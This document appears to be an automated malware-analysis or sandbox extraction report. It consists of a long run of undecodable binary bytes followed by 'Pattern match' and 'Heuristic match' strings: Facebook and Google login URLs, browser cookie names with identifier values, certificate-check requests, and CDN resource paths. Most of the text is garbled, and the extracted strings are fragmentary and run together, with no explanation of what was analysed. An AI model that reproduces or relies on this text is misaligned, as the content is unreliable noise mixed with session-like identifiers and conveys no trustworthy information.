��S�a��)��Z+�j��q�$�f�wA,�F�b��xv`$E�$)-��ԕ��`�ckB�0yL�vF�1e>6��65w��Mݰ0��ÌD", "c��t��j��W.Xk+��{��An��\,22h�I#;AYXӓ�ph�夵��w��]x�&H��0��Ե-�+��`)m$��p��d�Y�D�?tB]/�:�B�m�@{�n�>�� =��>�Mg�Dn'��_�ߴ��#��;�ը��/��i�޵��8�0�O8��3�K�\�A}��MM�9�Tb"c�a��1~�6d��C��H��m�t<�}Y��Z`��8;��<�%&��6�}��<,SU�%�_��@��h�z��W�@q��k}r1�h��<,/�r��=", "�vyxb��)fNcV�%-I\��/(�pR�(O�)Kc��*�I�1�Y�u࿝��3��C֏�k9X��%� ��!k;��9,�!�بdx��Y:�q%�ؾ��u(�#��J��h(*J�K�@SG�<{21�Cv�p��k��Wr\�A\�e��'.�z̑��yȂ��dD�n�c�w�Q�[�ǣ+k�D�ص}�b�!�$�|]Y��v��VX"��vh��x�^�u��t�9�{6j�_Q�_��hJ�o��%3�U��5�A ��`�og�j��&��A&D�%J�2��by�坹_�{��8�.M|�9\�\�s�oD>dX�D9xI<�{}?d�&�F��ݩ*��`*��QL7�$�e�1� �w\l�gE{Ⱥ��Y��*nH�so�K֔�˄cygY�L�{��k�[fj;(M�̶��2�N��9�(�`O�A�{��i��TC+y�'��a�myH�2�d�q]Mj�`>�05�Q�u}��xs��k�0�2��FY�((~L�DZ0�we�hӭ�ڦ�&C��o��ZŰ30�L�n�t|��vFОϽ}[��ڞ)֡~��Q��7��9�yd��d��cX�Y'��|��P<�L}M�X&�_Kح�y^RYʦı�d�@#�1$��,x#�m'G�CVy~+�@� ��%�6�Aq��a}�zܙ��r��.��ъ��?�AM�+Xr�ۥ1J&��;��sy0�5�0��T��ky�D��b�-Ͳ^k��+�-��?111��E%�Tקs�={�o��hf��ru6�n>aL�Æ��+8��=��sAt�b�޲�l�-�o�Ҡd�D�1v��oYIWqϰ�5s� 3�q��h2�K�ߊ�%1�+��A$=_��GG�^p��{j�z.X_��l��R��q�)l��B;�f�j�"�� d�<��N8z��?�T��z�� OfWw7�әfkݻ¹�P�f�n��WC�y��Z구�q�X��1͌�z��/=��2�rS��'m[=�-��vXS�;�ټ#�FU*�^��?;�/[�LL�O+��v�,��9m��yZX��j��\�y-��ٵ+7o�UϞ��k8��d#0!tz`��H�(��y��,ج��j&�@Æ Ebn��0�:@��qbi��>��9��(�-eh%+Tf壈��,9�W��(!��e{��a��OH�[0(�.l�!�uߐ��xF|�w�(b��sKv�VrxKEH2�Ց��2re��R��>N�+", "�x@�J�$)W��)�vY��͜4��O/�)*=*�"4loUO�oU��R��W�8P��>^kc+sGCe��\��w5��H5W��з�j�i[�J�RY�:"(ʹ�f��X�TXo��[$��j�R-Ja��;L�<�l��n�ao�-@�J��%��nJ�.�F�|�T�$!�r��J�X�r?:x�#'��w�o�'VUp�"��֝��?��gAA�Ʈg`��@��+��=�l�>��Cd�!0�~'Ƴ�ϰ�0�o��X �nBV��Ϗ��F�Dr�n)��m��)�O#pI�� h��l��*�C8�R��m�e��IA��ѩD�1�Ʉ��.F��0�`��fx�Al͑x(�h6��C1ԇ�+�)˒(�лCQ��;R�<�Y�M��(�4o�� Z�ev=D��ˡ@@dX(�D-�O�2tL'3��̚��,nP�D��6{�moG3Ak��S/��[TS��'��f�SR9�v3j��F#l̹�?9^ҹ|5��2�uvl|`g��̃v`S�G�{��K��N��`[��3��Wr�%�/O`��!s��ۂ9��b9AP}��Yh1?N�[�3�:�qF:!�j��~0pZ�ӧO/�׮;��k��ޘ%��H��c��+��E��Sr-!-!��Ug"�`��{�)r�I��))�$QJ�ռ��2h:M I�G�K�RK)ŷ��F��c��>�8��Z�w��un�h��wql��AL"��#��^�ˢ,�uOX�v��@�g��;��)�Vl��c�zB�� L��w��7�l��?�0Ӥf��Auq[yj4�~�]��|Q-"(sL=�O!y��>e":!p��s��9K8�N>��:Ȋ��)�5R�B>��7�p�v��AVS�]��Nqw+\��R?��X�fs��b�X*�`��!�RK[j?gчß��Ƈ��(��a+��#D�'��.Za:@\�IN9��$�l�,S��Ar�%��e��)9/Z��jyI��D��>�U'K�T��o��DH!c�F��r)YZH^~WRr1�8��r9�yOa�c*sղ�p�RJ.�zi��h��/��_��9�dW��a6��9�>��8_H��Xx��59~��P��|�"�*B��Ԇ{�`M��1��C�2%��K��(��>>rU1/��q.��!8��VW�ZH��CC;J��%+��U��75��و�I�g��F\�=��D�w6ɯËD6��~g�,d9Df��L��lA�G�r2�;��Ͱ��+�oi-h!�5'�;I`��Acbi$F)n.'��6եVgA�=��_��N�e�C˦�K�"��+�ޥ�w�L,��(`Փ��Y$��3�s[�c�0��ko��Ӿ�=~i'����zWη�=E��:aX[�NȜK�%��ݰv�~/D�*R�??_��]C`K�l��턋K��'�e��wЅ��,YO�Fa�0��Ͼ��I��^�_'0b*˦,I�9��Xͤ��Rf�ڷl�_��.��д&q��wW��a�?��Op�lh"�f��:��Z��|��.`�w��m�=xƮ�WrS��P�0`��9��w5u��8>��+�@�!��D��۵�c.I�Rqi�K��h��V봌��Q�N�.�=�DV�;(p��/��Ap��r��m��uc��+�,q7@��e��Ƥ{ſ��Z��\�i��qm�?i��3�3of�#C�V�ۛ��+�}�?-/��ly3P��i�nN�G_��t�1��Y����i{��u�i>u��R��O�&޹YK��w�/&E��6�a6׃�9�mmvu^Z�';��E)>Y�nC�`�f7V�2c��C� �Q?��.�f�L%�)�.FKJJ�H�w�Sw��+'�9=�k_/��l��]if^�F,�<��=��M�y&�?V��s��t|/Κ�U{��w��.��Ÿw�=]��s��Ӧ��wF�x>�R��Z��6_k�^iz��~1��%eP}7!��oiӄ�i��0,l�MW)b�A��4��,?�h�Ֆz�8�H�g�\03y�C�C��J�s��yi�lyt�wG�՜!�_��o��oē#恜׬��H�Y�W�^�&8_G"�Lv�>ڶZS.`�,pJ��t�,֔��)�0�X��|��S~��8zv�D�p��ҡ��B��7'� ��ě��9nV#.ߎ�7��j�g��I��T��NN��^��!Fk[1�I:�g�^��%�gu�y��8We6jo7JY��n�o}aډM��4QXN&�qẢ�r�P�*%�i�y��}��SY2�/Q��a�6�YMcA�0��Q��3�^��fUV*��:��>f�4nE��W��!^{w�!k4<��u�U6@;v�X��r�&^�}1��S[�.��6��@3�&%MA�a�K��lٴ��m�@4d��^��D�v�7�n/�L�bf��X�ل-�$��cf�� X�H�r��ϋ��Tމi�{lк �ZJ��S%E�*�/��⸿�mD��M�AZM�9��v��/T=>�!qh��{W�|ě��C��p��v��-��9�(��J�R!,h�9��z�+N��dk�g[�[�M�l�0s{o�MD=)E��fD�py��/�F<>�iP�Ϳ��G��'o�K0C�J,L�0+ٳ�Ė��dm��A��1c��(sn�T�YQvYlqȂ��TN��w��x�o�'��D2tm��&��N]�Ͱ{'D�E=��Q�g"�S�έ��GM��̓��֢=�W)sy�4�W�6�E�>dW�,}Ȣ�8?qg�7':{��L��X.�r~&m\�Q�W�>��+��", "_(�/�@~�L�w�Keb��28^��L�Z�~��9�,�?�X,*��J��5x��/�T9Ecv��vq�<��Oۂ7��=�/i��9�뗋n�?Yޑ�W��L�^��R�Z��ե�ݏ��nY~I�2t��U��1��ٹS�u3��>��![_M�p��ۡ��7~t��z6�A/y��ps��7�`W�3[e�୰��zժގ�Q��"�'�n��`��Y��]��@��O��zTz�}x��e.:z#ٕ�h0�4��h�}�U��j�?��^��\��v{p��a�q��gI�ߋ��I��+eY�!6�ћyȮ�Ʈ��ɥ%u��U�q�x��z��?v��5#wjH��x/nf��]��=�7�B�q59��}�4{��ڏ�7�=d��X,��|/ûدZ56��6�f�;��c��}�oy|7��6)_A��I��U�1k��}x�Or�>�/��'��Y�e��Y��,f��v�k�S��1��`��~��,��`�.Ygə�+�>��1>xT�![h�|��4��W�c4�J��pg?�p��Cvu�5/��к��}�2�F��x/��\��!"�'�??H��^c�FЪ?e��[as�/zw�|k2��gg�c�Ͱ�`��(F:�v{yٸ-�=�n��Xﭤ�ތ�Cv�J>d��U��=��hڰn��%�iha#&�Raf��Sg��5|�>Y,��a��$��]F��L�dVR��1A��S�� 豆�X?��><��*�듷㡉��ģS]��U~^�?/��c�D}�j��i��q>�(OF{U��tyw��O��z̗��I�6ܻ�U�՛I�G��c�'�Z��&ю;H��u�ۣ�ܤ�I��^�=N��G��[�ū;��C�6S�G��7o�?��qW�&��Y�-�}R[��m|�4��.�͑��hTN��魰��ܤڽ��ڻ��#`�lmJ�T�ŽD��ŋG��[`��'&U�u�R:�X䶽��7#�]��?l�O�˅�N�kj�{��K��M��խ��KM��z�M�]�s{��J��{��H�d߯�к�ǪXhbϺ�ޫ��S�=/$}`ߏ��F�8�T�NS݋�Sr9提��}��I��R��Z��V�� Q�j��S�t��{3�XY�6P��T*?��V}zE��[��k\#Z�5��3��w,5��y��)4��V�j=�R�t34��.��k3'�$��;m��y�->]��#vbu��ba��Z�Ei��ǥ��܇G��>�~��"v�g�~%2��F�q��", "^�}�tLx��xܷ��b�^��Q-h�R��N[��O�y��^�ه�1��zȶ��9`�UUK�vC�Y��>��S��]��f�y��7oU�ܵ�H�^�yr��?ě��6;\J��}4x�_�4��+K��̜��Za��]k�o�0"�-w斪�n�~��l�o��l��]�\h^�j�T�[�`��f�d�U|��{=ժwj��8�V�_0�Wu�(��緻�Ss4�cN��M*��NPt�_��o�c|�<2I<��V��ޱ��u��q�4��z��}��g�2�pF.f��x�l�=T��a�=��O*gr��b^�W��8��Vyz��>��X?�~�[�!��s�Or:�_��ޅ�s��ۭ��yd��a��b��v��o�M��mj��e��Z��v<�X�d>I�c��L�Qa��7��C�sQ]�hi��m�A��Vo�?��j!{�Yu�T�İ��A��f��*0B�S��j��{� ��,�;�N[9��\�Ǌ|_�Z�o�M�[��Ca��WV��U�Vr��x\�ٞ�z�??��C�(��qo\��,?:�_h��g�?�C��X��Jך��r֪�]�?d':�޾�L�+D��tk��ig��Cd4zZ*�7��]��S�Om�Ж��\�M�?dH�2ؤ=s�RU��{aO;x��#`�1؍{��pWm��/�#��!��|c�ջ��`�lr��~Ht��`��r�8oM�ޥi�ncg�fؤT�@�+I�פ�c��ޥ��f�_��o�#�ݙ�2�.�oG�{]P��]-Rzҁ�$��t^��d� s��*��h��v��\W�Ҡ��Oo��z�<�>-��ޘj�Yh��e�w҇l?�&��.O�EC�[?8�"Ot~Qy��ޖ��J�h1��=dW�-�ÕnZ��(��߻~��8��)\�;7�%nx{M��2u�L2\��,�R�FXY�}��C��C��R�_Og�`?di_4��{�#Mߝ��x/��m�:�N�xp��FȪ��>�Nu�w�{z��nn)ҝ��\�]%ך�ߞ�W��>^�o=��ư��e��8[��W횯��Bi��}��Ur=ڹ1<�]]i햯5�j�vZ�G�� t��x��;��IJq�4u$�g4�'&��i�8�?-��SG9ф8�>�z�c�Q�qLv!�)-(��p�2r0��K`�w�r��^�b.9��l.9��!��w��xD�n��FJ�M��xT|�Pإr#gkR�B'�k�k�]��s9��&��7f��1��NC!��a��=�I�y:_�u'cc�C��j@�P�e&n��B�u�j�D�{X�ib�9��+�v)��Nb�Ś9a�h��k��)�m�"��S��?^��"�.J��[_��vY�_��v��_ú�!�j��M{�.-l��]1��xBk��s=s��uLw��;k0�oGp��"��#:��ˍs�b�ݵ�{��G-�v�N+��"[F�p�B�x��eJ�� 5�*v ��U��7��x.ۥtcK{��wDv�x�?��:!K��#�I.�b*�;�tp��S��a��W�:bCw�k(�D*�pqS��yb�{�D)IP.��۽3tC��Y�6��WnM��Q7��&�r��w��r7��F��=�myp� ��4�x؄��8��x4��bJP!rJ�1!��Ѳk��ʟ��#��c:��ӳQ�~��L:�=�kWf��k�uY.��0Wi=��>|,,�W��Q�sٗ�X:'=cX�o��s��r�M��ݕ�.no�b��6waި��_��U��Yu��K2BZ�-��5֩m��'=��3W��U�uJ'�3|*�X�2��<�h9N��XeM8M��s��>��X:�L+�"�~��D�Vp�2��b�V��?�=�w�ސl�䮟o'��x�떕��.O�wP��ϝ�'8ȃ~P�a[Ķ� G�qZ0��Xf�"��(se�trX��w��G7;~�oZ072�z��0��8$�x0��u0��"��+k��%W[��%�X�@��5�W�`��X��JW�l��%�(��C.�&w��H;D�fz�'�%4lQ�"MGԔ�"5c:T777f,Pattern match: "https://www.youtube.com/" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Heuristic match: "1Op.TR" Heuristic match: "tf.eu" Heuristic match: "|(.pL" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "https://www.facebook.com/loginstart" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]Q0O0MAhttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0J!P-f+;z{]6mWXIY8Washington1Redmond1Microsoft" Pattern match: "https://www.facebook.com/legal/license/WRsJ32R7YJG/__d" Pattern match: "rsrc.php/v3/yB/r/TwAHgQi2ZPB.png" Pattern match: "http://example.com" Pattern match: "https://www.facebook.com/legal/license/t3hOLs8wlXy/__d" Pattern match: "http://crls.pki.goog/gts1c3/QOvJ0N1sT2A.crlG&u5:h&T$Idzwj" Pattern match: "http://crl3.digicert.com/sha2-ha-server-g6.crl.http://crl4.digicert.com/sha2-ha-server-g6.crl0,Mt*u|%'k" Pattern match: "https://fonts.googleapis.com/css?family=YouTube+Sans:500" Pattern match: "rsrc.php/v3/yD/r/MKQzjVd1bVq.png" Pattern match: "rsrc.php/v3/yL/r/unHwF9CkMyM.png" Pattern match: "NOFORMmicrosoft.com/102433237894403108561027971357230938743SRCHUIDV=2&GUID=426377958C8445E3B4EA69482BD0E747&dmnchg=1microsoft.com/102433237894403108561027971357230938743SRCHUSRDOB=20220131microsoft.com/102433237894403108561027971357230938743SRCHHPGUSRSRCHL" Pattern match: "IESS4Abing.com/1024294378944031085610419731758630938742SRCHUIDV=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1bing.com/1024294378944031085610419731758630938742SRCHUSRDOB=20220131&T=1643622536000bing.com/1088404823347231085593429095039930938742bing.com/10" Pattern match: "0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMypx.AWVEr7ek7Z8facebook.com/92172247585408310831279606850131065034cSozZauj9GASX4z0SI7GJJqpfacebook.com/9217379203955231145488347528579731065033_js_datrcSozZecQgUoy4ULE1BnVdDBKfacebook.com/1089727595520311455053868918" Pattern match: "https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxM.woff" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217407257395231067838421322765931065036VISITOR_INFO1_LIVEQk5zLdzvfWQyoutube.com/9217193469132831101232421432140931065036VISITOR_PRIVACY_METADATACgJVUxI" Pattern match: "https://fonts.google.com/license/googlerestricted@font-face" Pattern match: "0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMyrA.AWXrZWUE02kfacebook.com/921730375854083108312785402857231065114cSozZauj9GASX4z0SI7GJJqpfacebook.com/9217379203955231145488347528579731065033datrcSozZecQgUoy4ULE1BnVdDBKfacebook.com/9217287072256311454898538723223" Pattern match: "0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMypx.AWVEr7ek7Z8facebook.com/92172247585408310831279606850131065034cSozZauj9GASX4z0SI7GJJqpfacebook.com/9217379203955231145488347528579731065033datrcSozZecQgUoy4ULE1BnVdDBKfacebook.com/92172870722563114548985387232231" Pattern match: "MUIDB1082A3AD54316B0915EAB01C557D6A53www.msn.com/9216146127180831143477336060031731065072sptmarketen-us||us|en-us|en-us|en||RefA=8924C2E61E594D9F884ABAF2C14F76C2.RefC=2023-10-21T01:34:26Zwww.msn.com/1024358966809631212074395969406731065072" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217407257395231067838421322765931065036VISITOR_INFO1_LIVEQk5zLdzvfWQyoutube.com/9217193469132831101232421432140931065036" Pattern match: "-ghtEf140JIKwQgoogle.com/92178444454431101836105639536931065060" Pattern match: "vwVaLTlAcHncx9uYaccounts.google.com/92172558094592312118733550263271310650397259310_48_52_123900_48_436380accounts.google.com/1089110866572831071082124156396731065047" Pattern match: "VV728XzZJ9d2x1Lvaccounts.google.com/92173398094592312118732420694827310651377259310_48_52_123900_48_436380accounts.google.com/1089110866572831071082124156396731065047" Pattern match: ".google.com/92173268094592312118732585736971310651237259310_48_52_123900_48_436380accounts.google.com/1089110866572831071082124156396731065047" Pattern match: "f2YJskZYWb7aZEH1accounts.google.com/9217269809459231211873949694783310650517259310_48_52_123900_48_436380accounts.google.com/1089110866572831071082124156396731065047" Pattern match: "9216146127180831143477395875656731065072MUID1082A3AD54316B0915EAB01C557D6A53msn.com/1025146127180831143477335213156731065072USRLOCmsn.com/921735896680963121207426303927131065073" Pattern match: "0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMypx.AWVEr7ek7Z8facebook.com/92172247585408310831279606850131065034cSozZauj9GASX4z0SI7GJJqpfacebook.com/9217379203955231145488347528579731065033" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217407257395231067838421322765931065036" Pattern match: "9216146127180831143477395875656731065072MUID1082A3AD54316B0915EAB01C557D6A53msn.com/1025146127180831143477335213156731065072" Pattern match: "oto7VRWmEJ15uBhraccounts.google.com/9217254809459231211873294263045831065039" Pattern match: "vwVaLTlAcHncx9uYaccounts.google.com/9217255809459231211873355026327131065039" Pattern match: "CheckConnectionTempCookie858609641accounts.youtube.com/accounts/21474847526342731523106513854057128131065138" Pattern match: "CheckConnectionTempCookie607933137accounts.youtube.com/accounts/2147484752136427904310650514272603331065051" Pattern match: "MUIDB3ABBB54C0B0C6F183D87A6FD0A886E39ieonline.microsoft.com/9216140127180831143477355543534331065066" Pattern match: "MUIDB1082A3AD54316B0915EAB01C557D6A53www.msn.com/9216146127180831143477336060031731065072" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/1088161126438431065046101918751331065046" Pattern match: "MUID1082A3AD54316B0915EAB01C557D6A53msn.com/1025146127180831143477335213156731065072" Pattern match: "cSozZauj9GASX4z0SI7GJJqpfacebook.com/9217379203955231145488347528579731065033" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" Pattern match: "nactkwww.msn.com/spartan/108834324326431367516156339216030633261" Heuristic match: "ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "cacerts.digicert.com" Heuristic match: "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMTUser-Agent: Mi" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "accounts.youtube.com" Heuristic match: "connect.facebook.net" Heuristic match: "facebook.com" Heuristic match: "fbcdn.net" Heuristic match: "fbsbx.com" Heuristic match: "fonts.googleapis.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "play.google.com" Heuristic match: "static.xx.fbcdn.net" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "www.youtube.com" Pattern match: "www.facebook.comDNT" Pattern match: "fb.me/p3pSet-Cookie" Pattern match: "https://*.fbsbx.com" Pattern match: "https://www.facebook.com/loginAccept-Language" Pattern match: "www.youtube.comDNT" Pattern match: "https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FStrict-Transport-Security" Pattern match: "www.youtube.comCookie" Pattern match: "https://csp.withgoogle.com/csp/report-to/youtube_main}]}P3P" Pattern match: "https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language" Pattern match: "https://csp.withgoogle.com/csp/report-to/youtube-marketing}]}Content-Length" Pattern match: "rsrc.php/v3/yy/l/0,cross/wYnUPpbC_DL.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yX/l/0,cross/fpMCwgcFvo4.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yx/l/0,cross/7O04Eyj-1fg.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y8/r/RNFuSb7tdaZ.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/yI/r/4aAhOWlwaXf.svg" Pattern match: "rsrc.php/v3/yL/l/0,cross/GLMTwJKTA1g.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "Y-.YU/Ҍc]�'�Ī�*" Pattern match: "rsrc.php/v3/yl/r/BQn1Lzzcmjv.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3i7M54/yv/l/en_US/uwjyy7pmA-B.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yG/r/rAl2Hl1fQTa.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yh/r/bpW4eEg-2_W.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yU/r/O7nelmd9XSI.png" Pattern match: "rsrc.php/v3/yB/r/Y0L6f5sxdIV.png" Pattern match: "rsrc.php/v3/yg/r/ju4lCUCaD5F.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y1/r/dXk5exdOVhk.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yq/r/C9n9XTZa3H8.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yt/r/d4QqVJOdC1V.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yw/r/wm4d5zAAo-a.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yf/r/LgvwffuKmeX.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/ye/r/yUtEQ4ajXZI.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/ys/r/xEUODc7mbZF.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y1/r/P8DLAFRlDfy.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yj/r/MAz3ivwtIyN.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yt/r/zI56j6esQGz.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yO/r/_tJ17sGyxOX.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yP/r/bisOS4dl-mS.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yo/r/xqvNY4MTESs.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3iqES4/yr/l/en_US/1xoiPcaOOYU.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yt/r/jIUN0Hn2kpD.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y7/r/QJ_ErdZuyUE.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/ys/r/XloWhghIye1.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/yb/r/hLRJ1GG_y0J.ico" Pattern match: "rsrc.php/v3/y2/r/O287_AcFyg4.png" Pattern match: "https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=100Accept-Language" Pattern match: "https://fbcdn.net/security/hsts-pixel.gif?c=2.5reporting-endpoints" Pattern match: "https://fbsbx.com/security/hsts-pixel.gif?c=5reporting-endpoints" Pattern match: "https://connect.facebook.net/security/hsts-pixel.gifreporting-endpoints" Pattern match: "https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzWFJ4ar3n4EQ8pFeZYphtEeLQ1J97Arem3_8_blGMbOTwmMO_duu_n9ZcGGpD39pgTWamWOQStrict-Transport-Security" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzWFJ4ar3n4EQ8pFeZYphtEeLQ1J97Arem3_8_blGMbOTwmMO_duu_n9ZcGGpD39pgTWamWOQ" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzFrAH1omO_uHonCE0XWe7trXMKg-nSzebSVf2Da6CGVDxAzr6jcHmRNRDQT7jAQJyEdK-8&passive=1209600&flowName=GlifWebS" Pattern match: "accounts.google.com/x-ua-compatible" Pattern match: "https://www.google.com/favicon.icoStrict-Transport-Security" Pattern match: "https://accounts.google.com/Accept-Language" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi}]}Content-Encoding" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInUi}]}Permissions-Policy" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInUi}]}Content-Security-Policy" Pattern match: "https://accounts.google.com/ServiceLogin?continue=https%3A%2F%2Faccounts.google.com%2F&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzFrAH1omO_uHonCE0XWe7trXMKg-nSzebSVf2Da6CGVDxAzr6jcHmRNRDQT7jAQJyE" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https://accounts.google.com/&ifkv=AVQVeyzFrAH1omO_uHonCE0XWe7trXMKg-nSzebSVf2Da6CGVDxAzr6jcHmRNRDQT7jAQJyEdK-8&theme=g" Pattern match: "https://accounts.google.com/&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https://accounts.google.com/&ifkv=AVQVeyzFrAH1omO_uHonCE0XWe7trXMKg-nSzebSVf2Da6CGVDxAzr6jcHmRNRDQT7jAQJyEdK-8&theme=glif" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeywO-QygKJfgwbsofKamSjLiRjf0k6ADAStf0h8zwyqGR2YJkoPZwGul_4Kx" Heuristic match: "00000001�00000001]000001m706o�6�+�1`��{�^��Y�)��%ײ�n��Dɖ,��<��2��#��c��Q�B7�r�N�!8@��P|��~#u�yψ~��V��RE��A�o�Wa��T=\v�� 